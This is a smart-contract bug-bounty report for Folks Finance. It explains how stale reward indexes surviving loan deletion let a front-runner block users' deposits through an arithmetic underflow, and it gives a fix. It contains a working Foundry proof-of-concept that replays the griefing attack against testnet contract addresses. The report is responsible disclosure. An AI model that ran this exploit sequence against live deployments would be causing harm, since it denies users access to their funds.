Skip to content

Latest commit

 

History

History
371 lines (292 loc) · 20.1 KB

Boost _ Folks Finance 33970 - [Smart Contract - Medium] User deposits can be blocked.md

File metadata and controls

371 lines (292 loc) · 20.1 KB
Raw

User deposits can be blocked

Submitted on Sat Aug 03 2024 01:56:26 GMT-0400 (Atlantic Standard Time) by @JCN2023 for Boost | Folks Finance

Report ID: #33970

Report type: Smart Contract

Report severity: Medium

Target: https://testnet.snowtrace.io/address/0x2cAa1315bd676FbecABFC3195000c642f503f1C9

Impacts:

  • Griefing (e.g. no profit motive for an attacker, but damage to the users or the protocol)

Description

Brief/Intro

Currently there are two loanTypeIds (1, 2) for each poolId. Therefore, there are two loanPools available for each pool, since a loanPool is defined as loanPool = (loanTypeId, poolId). Activity will vary across the loanPools for a specific poolId and thus the collateralRewardIndex for these loanPools will vary (one will be greater than the other). At the time of writing this report, loanTypeId 1 for poolIds 128 & 129 (USDC & AVAX) point to a loanPool = (1, 128/129) that has a smaller collateralRewardIndex compared to loanPool = (2, 128/129). This, coupled with the fact that loanIds are reusable (can be created and deleted) and can hold values from previous usage, allows a bad actor to block users from depositing into certain pools via the following actions:

  1. Create loan using user's specified loanId (seen in mempool), but specifying a loanTypeId that points to a loanPool that has a larger collateralRewardIndex
  2. Deposit into loanPool so that the local _userLoans[loanId].collaterals[poolId].rewardIndex gets set to the global loanPool.reward.collateralRewardIndex value
  3. Withdraw all funds from pool
  4. Delete loan to free up loanId, but local index for loanId and poolId persists
  5. User creates loan with loanId for loanTypeId corresponding to smaller global index for different loanPool
  6. User attempts to deposit into loanPool, but tx reverts due to underflow when updating user's collateral rewards, since local_index > global_index

Conditions: The user's createLoan transaction has to specify a loanTypeId that results in a loanPool (when taking into account poolIds) which has a smaller collateralRewardIndex compared to other loanPools for other loanTypeIds (used by bad actor).

Bug Description

A loan is identified by a loanId and holds the following data:

LoanManagerState.sol

65:    struct UserLoanCollateral {
66:        uint256 balance; // denominated in f token
67:        uint256 rewardIndex; // @audit: local index
68:    }
...
85:    struct UserLoan {
86:        bool isActive;
87:        bytes32 accountId;
88:        uint16 loanTypeId;
89:        uint8[] colPools;
90:        uint8[] borPools;
91:        mapping(uint8 poolId => UserLoanCollateral) collaterals;
92:        mapping(uint8 poolId => UserLoanBorrow) borrows;
93:    }

When a loan is deleted, it is first verified that the loan is empty but only the collateral and borrow positions arrays are validated to be empty (see line 66 below). Additionally, the delete keyword is used to reset all of the values in the UserLoan struct for this loanId (see line 69 below). However, the delete keyword does not have an effect on mappings and therefore its possible that the collaterals mapping for a loan will still hold UserLoanCollateral values that were previously stored for a specified poolId key, even after the loan is deleted.

LoanManager::deleteUserLoan

60:    function deleteUserLoan(bytes32 loanId, bytes32 accountId) external override onlyRole(HUB_ROLE) nonReentrant {
61:        // check user loan active and account owner
62:        if (!isUserLoanActive(loanId)) revert UnknownUserLoan(loanId);
63:        if (!isUserLoanOwner(loanId, accountId)) revert NotAccountOwner(loanId, accountId);
64:
65:        // ensure loan is empty
66:        if (!_isUserLoanEmpty(loanId)) revert LoanNotEmpty(loanId); // @audit: considered empty if positions arrays are empty, other dynamic types not checked
67:
68:        // delete by setting isActive to false
69:        delete _userLoans[loanId]; // delete has no effect on mappings: https://docs.soliditylang.org/en/v0.8.26/types.html#delete

LoanManagerState::_isUserLoanEmpty

453:    function _isUserLoanEmpty(bytes32 loanId) internal view returns (bool) {
454:        return _userLoans[loanId].colPools.length == 0 && _userLoans[loanId].borPools.length == 0;

To understand why this can be an issue, we will observe the flow for deposit transaction:

LoanManagerLogic::executeDeposit

66:    function executeDeposit(
67:        mapping(bytes32 => LoanManagerState.UserLoan) storage userLoans,
68:        mapping(uint16 loanTypeId => LoanManagerState.LoanType) storage loanTypes,
69:        mapping(uint8 => IHubPool) storage pools,
70:        mapping(bytes32 accountId => mapping(uint8 poolId => LoanManagerState.UserPoolRewards)) storage userPoolRewards,
71:        DataTypes.ExecuteDepositParams memory params
72:    ) external {
73:        LoanManagerState.UserLoan storage userLoan = userLoans[params.loanId]; // @audit: defined by loanId
74:        LoanManagerState.LoanType storage loanType = loanTypes[userLoan.loanTypeId];
75:        LoanManagerState.LoanPool storage loanPool = loanType.pools[params.poolId]; // @audit: defined by (loanType, poolId)
...
97:        RewardLogic.updateUserCollateralReward(userPoolRewards, userLoan, loanPool, params.poolId); // @audit: update user rewards based on indexes

RewardLogic::updateUserCollateralReward

20:    function updateUserCollateralReward(
21:        mapping(bytes32 accountId => mapping(uint8 poolId => LoanManagerState.UserPoolRewards)) storage userPoolRewards,
22:        LoanManagerState.UserLoan storage loan,
23:        LoanManagerState.LoanPool storage loanPool,
24:        uint8 poolId
25:    ) internal {
26:        LoanManagerState.UserPoolRewards storage userLoanPoolRewards = userPoolRewards[loan.accountId][poolId];
27:        LoanManagerState.UserLoanCollateral storage userLoanCollateral = loan.collaterals[poolId];
28:        uint256 collateralRewardIndex = loanPool.reward.collateralRewardIndex; // @audit: global index 
29:
30:        userLoanPoolRewards.collateral += MathUtils.calcAccruedRewards(
31:            userLoanCollateral.balance,
32:            collateralRewardIndex, // @audit: global index for loanPool, defined by (loanTypeId, poolId)
33:            userLoanCollateral.rewardIndex // @audit: local index for user's UserLoanCollateral, defined by poolId
34:        );
35:
36:        userLoanCollateral.rewardIndex = collateralRewardIndex;

MathUtils::calcAccruedRewards

556:    function calcAccruedRewards(
557:        uint256 amount,
558:        uint256 rewardIndexAtT,
559:        uint256 rewardIndexAtT_1
560:    ) internal pure returns (uint256) {
561:        return Math.mulDiv(amount, rewardIndexAtT - rewardIndexAtT_1, MathUtils.ONE_18_DP); // @audit: global_index - local_index

As we can see above, when updating the user's collateral rewards during deposits, the global index for a loanPool is defined by a loanTypeId and poolId pair. I.e. loanPool = (1, 128) will have a different global index compared to loanPool = (2, 128). However, the local index for the user is defined only by the poolId. Therefore, this local index can be implicitly pointing to a loanPool with loanTypeId of 1 or 2. It is assumed that the local index will be consistent with the UserLoan.loanTypeId value that is specified for the created loan (and therefore consistent with the global index for a loanTypeId, poolId pair). However, we have already seen that the local index for a loan can persist after deletion. Therefore, the following situation can arise:

  • global index for loanPool = (1, 128) is x
  • global index for loanPool = (2, 128) is x + 1
  • Loan is created with loanId and loanTypeId = 2.
  • poolId = 128 is deposited into, setting the loan's local index for poolId = 128 to x + 1
  • loan is emptied (all collateral withdrawn) and deleted
  • New loan is created with loanId and loanTypeId = 1
  • Current local index for loan and poolId = 128 is x + 1, but global index for (loanTypeId, poolId) is x

After the above situation occurs, when the user attempts to deposit into poolId = 128 with the new loan, the transaction will revert on line 561 in MathUtils.sol. This is due to the fact that the global index for the loanPool = (1, 128) is x, which is less than the local index for the new loan and poolId (x + 1). Thus, the rewardIndexAtT - rewardIndexAtT_1 operation will result in an underflow.

Impact

A bad actor is able to block users from depositing into certain pools. This exploit can only occur against users who are creating loans with loanTypeIds that correspond to loanPools with a smaller collateralRewardIndex compared to other loanTypeIds. Currently, the loan pools (1, 128) & (1, 129) have smaller collateralRewardIndex compared to the loan pools (2, 128) & (2, 129). Therefore, any user who creates a loan with loanTypeId = 1 and wishes to deposit into pool 128 or 129, can be blocked by this exploit.

Note that the above pools were specified in this report (and in the below POC) for simplification since those pools can be directly interacted with via the Hub chain (single chain). There are other pools that are available via spoke chains in which this exploit can also be executed from, but this would entail cross chain communication, which is difficult to comprehensively test.

Recommended Mitigation

Since loanIds can be reused by design, and UserLoanCollateral values for a specific loanId and poolId persist after deletion, I would recommend explicitly resetting the UserLoanCollateral.rewardValue to 0 when a user's collateral position is closed (all value withdrawn). An example implementation is as follows:

diff --git a/./contracts/hub/logic/UserLoanLogic.sol b/./contracts/hub/logic/UserLoanLogic.sol
index f0c0268..7ceb521 100644
--- a/./contracts/hub/logic/UserLoanLogic.sol
+++ b/./contracts/hub/logic/UserLoanLogic.sol
@@ -34,6 +34,7 @@ library UserLoanLogic {

         // if the balance is now zero, remove pool from list of user loan collaterals
         if (loan.collaterals[poolId].balance == 0) {
+            loan.collaterals[poolId].rewardIndex = 0;
             uint256 colPoolsLength = loan.colPools.length;
             for (uint8 i = 0; i < colPoolsLength; ) {
                 if (loan.colPools[i] == poolId) {

Proof of concept

Proof of Concept

For simplicity, the below POC only showcases a bad actor griefing a user who wishes to deposit into pools that are directly accessible via the Hub chain. However, note that as long as the conditions outlined in the Impacts section are met, this griefing attack is also possible for pools that are only accessible from different chains via cross-chain transactions.

To run foundry POC:

  • add test file to test/ directory of a foundry repo
  • add AVAX_FUJI_RPC_URL variable as environment var or in .env file
  • run test with forge test --mc FolksPOC_GriefUserDeposits
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;

import {Test, console} from "forge-std/Test.sol";

interface IERC20 {
    function balanceOf(address owner) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
}

interface IHUB {
    function loanManager() external view returns (address);
}

interface IHubAdapter {
    function sequence() external view returns (uint256);
}

interface ISpoke {
    struct MessageParams {
        uint16 adapterId; 
        uint16 returnAdapterId; 
        uint256 receiverValue; 
        uint256 gasLimit; 
        uint256 returnGasLimit; 
    }
    
    function poolId() external view returns (uint8);
    function deposit(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint256 amount) external payable;
    function createAccount(MessageParams memory params, bytes32 accountId, bytes32 refAccountId) external payable;
    function createLoan(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint16 loanTypeId, bytes32 loanName) external payable;
    function createLoanAndDeposit(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint256 amount, uint16 loanTypeId, bytes32 loanName) external payable;
    function withdraw(MessageParams memory params, bytes32 accountId, bytes32 loanId, uint8 poolId, uint16 chainId, uint256 amount, bool isFAmount) external payable;
    function deleteLoan(MessageParams memory params, bytes32 accountId, bytes32 loanId) external payable;
}

interface ILoanManager {
    struct LoanPool {
        uint256 collateralUsed; 
        uint256 borrowUsed; 
        uint64 collateralCap; 
        uint64 borrowCap; 
        uint16 collateralFactor; 
        uint16 borrowFactor; 
        uint16 liquidationBonus; 
        uint16 liquidationFee; 
        bool isAdded;
        bool isDeprecated;
        LoanPoolReward reward;
    }

    struct LoanPoolReward {
        uint64 lastUpdateTimestamp;
        uint256 minimumAmount; 
        uint256 collateralSpeed; 
        uint256 borrowSpeed; 
        uint256 collateralRewardIndex; 
        uint256 borrowRewardIndex; 
    }

    function getLoanPool(uint16 loanTypeId, uint8 poolId) external view returns (LoanPool memory);
}

contract FolksPOC_GriefUserDeposits is Test {
    uint256 avaxTestnetFork;

    string AVAX_FUJI_RPC_URL = vm.envString("AVAX_FUJI_RPC_URL");

    address constant USDC = 0x5425890298aed601595a70AB815c96711a31Bc65;

    address constant HUB_ADAPTER = 0xf472ab58969709De9FfEFaeFFd24F9e90cf8DbF9;

    address constant HUB = 0xaE4C62510F4d930a5C8796dbfB8C4Bc7b9B62140;

    address constant SPOKE_COMMON = 0x6628cE08b54e9C8358bE94f716D93AdDcca45b00;

    address constant SPOKE_CIRCLE_TOKEN = 0x89df7db4af48Ec7A84DE09F755ade9AF1940420b;

    address constant SPOKE_GAS_TOKEN = 0xBFf8b4e5f92eDD0A5f72b4b0E23cCa2Cc476ce2a;

    event MessageFailed(uint16 adapterId, bytes32 indexed messageId, bytes reason);

    function setUp() public {
        avaxTestnetFork = vm.createFork(AVAX_FUJI_RPC_URL);

        vm.selectFork(avaxTestnetFork);
    }

    function testGriefUserDeposits() public {
        // fork block height for testing purposes
        //vm.rollFork(35161357);

        // set up user
        ISpoke.MessageParams memory params = ISpoke.MessageParams({ 
            adapterId: 1,
            returnAdapterId: 1,
            receiverValue: 0,
            gasLimit: 0,
            returnGasLimit: 0
        });

        address user = address(0x1111);
        deal(USDC, user, 100e6);
        vm.deal(user, 1 ether);

        bytes32 accountIdUser = keccak256(abi.encodePacked(user));
        vm.prank(user);
        ISpoke(SPOKE_COMMON).createAccount(params, accountIdUser, bytes32(0));

        // set up bad actor
        address badActor = address(0x69420);
        deal(USDC, badActor, 100e6);
        vm.deal(badActor, 1 ether);

        bytes32 accountIdBadActor = keccak256(abi.encodePacked(badActor));
        vm.prank(badActor);
        ISpoke(SPOKE_COMMON).createAccount(params, accountIdBadActor, bytes32(0));

        // conditions: 
        // - User creates loan for loanTypeId_1. For simple, single chain POC, user can deposit into two poolIds directly on Hub chain: 128, 129.
        // - loan pools for loanTypeId_1 have a smaller collateralRewardIndex than loan pools for loanTypeId_2 (user can be griefed if they choose loanType with smaller index)
        bytes32 loanId = keccak256(abi.encodePacked(user, accountIdUser));
        uint16 loanTypeId_1 = 1;

        ILoanManager loanManager = ILoanManager(IHUB(HUB).loanManager());
        // verify loan pools state (reward indexes)
        _verifyLoanPoolsState(loanManager);

        // bad actor front-runs tx and sets the collateral rewardIndex associated with the the loanId
        // bad actor creates loan for loanTypeId_2 and deposits into both pools (128, 129), withdraws all funds, deletes loan to free up loanId
        vm.startPrank(badActor);
        IERC20(USDC).approve(SPOKE_CIRCLE_TOKEN, 100e6);
        
        // create loan for loanTypeId_2 and deposit into poolId 128 (USDC) to set reward index 
        uint256 fTokenStart = loanManager.getLoanPool(2, 128).collateralUsed;

        ISpoke(SPOKE_CIRCLE_TOKEN).createLoanAndDeposit(params, accountIdBadActor, loanId, 100e6, uint16(2), bytes32(0));

        uint256 fTokenEnd = loanManager.getLoanPool(2, 128).collateralUsed;
        
        // withdraw from poolId 128 (USDC)
        ISpoke(SPOKE_COMMON).withdraw(params, accountIdBadActor, loanId, 128, 1, fTokenEnd - fTokenStart, true);

        // deposit into poolId 129 (AVAX) to set reward index
        fTokenStart = loanManager.getLoanPool(2, 129).collateralUsed;

        ISpoke(SPOKE_GAS_TOKEN).deposit{value: 1 ether}(params, accountIdBadActor, loanId, 1 ether);

        fTokenEnd = loanManager.getLoanPool(2, 129).collateralUsed;
        
        // withdraw from poolId 129 (AVAX)
        ISpoke(SPOKE_COMMON).withdraw(params, accountIdBadActor, loanId, 129, 1, fTokenEnd - fTokenStart, true);
        
        // delete loan to free up loanId
        ISpoke(SPOKE_COMMON).deleteLoan(params, accountIdBadActor, loanId);

        vm.stopPrank();

        // user's `createLoan` transaction executes
        vm.prank(user);
        ISpoke(SPOKE_COMMON).createLoan(params, accountIdUser, loanId, loanTypeId_1, bytes32(0));

        // user attempts to deposit into pools, but deposits reverts due to underflow
        bytes32 messageId = keccak256(abi.encodePacked(bytes32("HUB_ADAPTER_V1"), IHubAdapter(HUB_ADAPTER).sequence()));

        vm.startPrank(user);
        IERC20(USDC).approve(SPOKE_CIRCLE_TOKEN, 100e6);
        
        // user can not deposit into poolId 128 (USDC)
        vm.expectEmit(true, false, false, true);
        emit MessageFailed(
            params.adapterId, 
            messageId, 
            abi.encodeWithSelector(bytes4(keccak256("Panic(uint256)")), uint256(0x11)) // error code 0x11 is underflow error
        ); 
        ISpoke(SPOKE_CIRCLE_TOKEN).deposit(params, accountIdUser, loanId, 100e6);

        // user can not deposit into poolId 129 (AVAX)
        messageId = keccak256(abi.encodePacked(bytes32("HUB_ADAPTER_V1"), IHubAdapter(HUB_ADAPTER).sequence()));
        vm.expectEmit(true, false, false, true);
        emit MessageFailed(
            params.adapterId, 
            messageId, 
            abi.encodeWithSelector(bytes4(keccak256("Panic(uint256)")), uint256(0x11)) // error code 0x11 is underflow error
        ); 
        ISpoke(SPOKE_GAS_TOKEN).deposit{value: 1 ether}(params, accountIdUser, loanId, 1 ether);

        vm.stopPrank();
    }

    function _verifyLoanPoolsState(ILoanManager loanManager) internal {
        // poolId 128 (USDC)
        uint256 collateralRewardIndex_loanType_1_poolId_128 = loanManager.getLoanPool(1, 128).reward.collateralRewardIndex;
        uint256 collateralRewardIndex_loanType_2_poolId_128 = loanManager.getLoanPool(2, 128).reward.collateralRewardIndex;

        assertGt(collateralRewardIndex_loanType_2_poolId_128, collateralRewardIndex_loanType_1_poolId_128);
        
        // poolId 129 (AVAX)
        uint256 collateralRewardIndex_loanType_1_poolId_129 = loanManager.getLoanPool(1, 129).reward.collateralRewardIndex;
        uint256 collateralRewardIndex_loanType_2_poolId_129 = loanManager.getLoanPool(2, 129).reward.collateralRewardIndex;

        assertGt(collateralRewardIndex_loanType_2_poolId_129, collateralRewardIndex_loanType_1_poolId_129);
    }
}